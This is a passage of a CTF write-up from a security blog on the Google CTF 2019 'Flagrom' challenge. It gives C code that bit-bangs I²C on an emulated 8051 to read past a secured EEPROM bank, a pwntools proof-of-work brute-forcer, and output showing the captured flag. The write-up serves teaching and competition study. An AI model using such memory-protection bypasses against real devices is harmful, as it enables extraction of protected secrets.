<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-yh4f-R4YeXc/XTcEDSqMs_I/AAAAAAAAAqw/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs/s1600/5.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-yh4f-R4YeXc/XTcEDSqMs_I/AAAAAAAAAqw/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs/s640/5.png" width="590" height="640" border="0" data-original-height="866" data-original-width="800" /></a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — read past the current bank</span></i></div>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Exploitation from a user code</h4>
</div>
<div style="text-align: justify;">Now that the exploitation path is known, a user code needs to be written to exploit it. The 8051 microcontroller provides a high-level interface for I²C communications.</div>
<p><span class="w-code"><span class="sc16">void</span> <span class="sc11">seeprom_write_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">addr</span><span class="sc10">,</span> <span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">value</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">seeprom_wait_until_idle</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">I2C_ADDR</span> <span class="sc10">=</span> <span class="sc11">SEEPROM_I2C_ADDR_MEMORY</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_LENGTH</span> <span class="sc10">=</span> <span class="sc4">2</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_ERROR_CODE</span> <span class="sc10">=</span> <span class="sc4">0</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_DATA</span><span class="sc10">[</span><span class="sc4">0</span><span class="sc10">]</span> <span class="sc10">=</span> <span class="sc11">addr</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_DATA</span><span class="sc10">[</span><span class="sc4">1</span><span class="sc10">]</span> <span class="sc10">=</span> <span class="sc11">value</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_RW_MASK</span> <span class="sc10">=</span> <span class="sc4">0b00</span><span class="sc10">;</span> <span class="sc1">// 2x Write Byte<br />
</span><span class="sc0"><br />
</span><span class="sc11">I2C_STATE</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">seeprom_wait_until_idle</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></p>
<div style="text-align: justify;">It is, however, not possible to change the address within the same communication. A raw access to I²C wires is however provided:</div>
<p><span class="w-code"><span class="sc11">__sfr</span> <span class="sc11">__at</span><span class="sc10">(</span><span class="sc4">0xfa</span><span class="sc10">)</span> <span class="sc11">RAW_I2C_SCL</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">__sfr</span> <span class="sc11">__at</span><span class="sc10">(</span><span class="sc4">0xfb</span><span class="sc10">)</span> <span class="sc11">RAW_I2C_SDA</span><span class="sc10">;</span></span></p>
<div style="text-align: justify;">Wikipedia provides an <a href="https://en.wikipedia.org/wiki/I%C2%B2C#Example_of_bit-banging_the_I%C2%B2C_master_protocol">example in C code</a> in the I²C page. It can be used as a base for the exploitation program. It gives two high level function to read and write bytes:</div>
<p><span class="w-code"><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_start</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_stop</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">byte</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">i2c_read_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_stop</span><span class="sc10">);</span></span></p>
<div style="text-align: justify;">The acknowledgement of the function i2c_read_byte needs to be modified for it to work with the EEPROM. The EEPROM can be exploited with the following code:</div>
<p><span class="w-code"><span class="sc9">#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)<br />
#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)<br />
</span><span class="sc0"><br />
</span><span class="sc16">void</span> <span class="sc11">main</span><span class="sc10">(</span><span class="sc16">void</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">int</span> <span class="sc11">i</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">&#8220;start user program\n&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Load address 0 */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_CTRL_WRIT</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">0</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Secure all banks */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_ADDR_SECURE</span> <span class="sc10">|</span> <span class="sc4">0b1111</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Read 255 bytes of memory */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_CTRL_READ</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc10">(</span><span class="sc11">i</span><span class="sc10">=</span><span class="sc4">0</span><span class="sc10">;</span> <span class="sc11">i</span><span class="sc10">&lt;</span><span class="sc4">255</span><span class="sc10">;</span> <span class="sc11">i</span><span class="sc10">++)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc10">(</span><span class="sc11">i</span><span class="sc10">%</span><span class="sc4">64</span> <span class="sc10">==</span> <span class="sc4">0</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">&#8220;\n&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc11">CHAROUT</span> <span class="sc10">=</span> <span class="sc11">i2c_read_byte</span><span class="sc10">(</span><span class="sc4">0</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">&#8220;\n&#8221;</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">POWEROFF</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></p>
<div style="text-align: justify;">The full exploitation program can be found <a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/solve/hack.c">here</a>. On Linux, the compiler sdcc supports Inter 8051 microcontroller and may be used. It generates an IntelHex format which should be converted to a raw binary. Some Python libraries exist to perform the conversion.</div>
<p><span class="w-code">$ <span class="w-cli">{ echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/exit.so ./flagrom</span><br />
What&#8217;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?<br />
That looks wrong. Good bye.<br />
Wrong answer. Good bye.<br />
What&#8217;s the length of your payload?<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
start user program<br />
Hello there.<br />
<span class="w-grepped">On the real server the flag is loaded here.</span><br />
Clean exit.<br />
</span></p>
<div style="text-align: justify;">The code works just fine on the local instance and we successfully get a fake flag.</div>
<div style="text-align: justify;">
<h3>Exploiting the remote service</h3>
</div>
<div style="text-align: justify;">
<h4>Completing the proof of work</h4>
</div>
<div style="text-align: justify;">To exploit the SecureEEPROM remotely, the final step is to perform the proof of work. Nothing complex in it, just brute force until you find a valid proof. Here is a Python code doing that:</div>
<p><span class="w-code"><span class="sc5">from</span> <span class="sc11">pwn</span> <span class="sc5">import</span> <span class="sc10">*</span><span class="sc0"><br />
</span><span class="sc11">io</span> <span class="sc10">=</span> <span class="sc11">remote</span><span class="sc10">(</span><span class="sc4">&#8216;flagrom.ctfcompetition.com&#8217;</span><span class="sc10">,</span> <span class="sc2">1337</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc11">ask</span> <span class="sc10">=</span> <span class="sc11">io</span><span class="sc10">.</span><span class="sc11">recvuntil</span><span class="sc10">(</span><span class="sc4">&#8216;\n&#8217;</span><span class="sc10">).</span><span class="sc11">split</span><span class="sc10">()</span><span class="sc0"><br />
</span><span class="sc11">start</span><span class="sc10">,</span> <span class="sc11">md5</span> <span class="sc10">=</span> <span class="sc11">ask</span><span class="sc10">[</span><span class="sc2">11</span><span class="sc10">],</span> <span class="sc11">ask</span><span class="sc10">[</span><span class="sc2">16</span><span class="sc10">][:-</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">&#8220;Proof of work with:&#8221;</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">&#8221; start = %s&#8221;</span> <span class="sc10">%</span> <span class="sc11">start</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">&#8221; md5 = %s&#8221;</span> <span class="sc10">%</span> <span class="sc11">md5</span><span class="sc0"><br />
</span><span class="sc5">while</span> <span class="sc5">True</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">r</span> <span class="sc10">=</span> <span class="sc11">random</span><span class="sc10">.</span><span class="sc11">random</span><span class="sc10">()</span><span class="sc0"><br />
</span><span class="sc11">s</span> <span class="sc10">=</span> <span class="sc11">start</span> <span class="sc10">+</span> <span class="sc11">str</span><span class="sc10">(</span><span class="sc11">r</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">hashlib</span><span class="sc10">.</span><span class="sc11">md5</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">).</span><span class="sc11">hexdigest</span><span class="sc10">().</span><span class="sc11">startswith</span><span class="sc10">(</span><span class="sc11">md5</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">&#8220;Found %s&#8221;</span> <span class="sc10">%</span> <span class="sc11">s</span><span class="sc0"><br />
</span><span class="sc5">break</span><span class="sc0"><br />
</span></span></p>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Retrieving the flag</h4>
</div>
<div style="text-align: justify;">A complete exploit can be downloaded <a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/solve/exploit.py">here</a>. It handles the compilation of the user code, performs the proof of work and run the user code.</div>
<p><span class="w-code">$ <span class="w-cli">python exploit.py remote hack.c</span><br />
[+] Starting local process &#8216;./flagrom&#8217;: pid 7333<br />
Sending payload<br />
Received data<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[+] Receiving all data: Done (467B)<br />
[*] Process &#8216;./flagrom&#8217; stopped with exit code 0 (pid 7333)<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
start user program<br />
Hello there<br />
<span class="w-grepped">CTF{flagrom-and-on-and-on}</span><br />
Clean exit.</span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/">GoogleCTF 2019 Quals – Flagrom Challenge Writeup</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
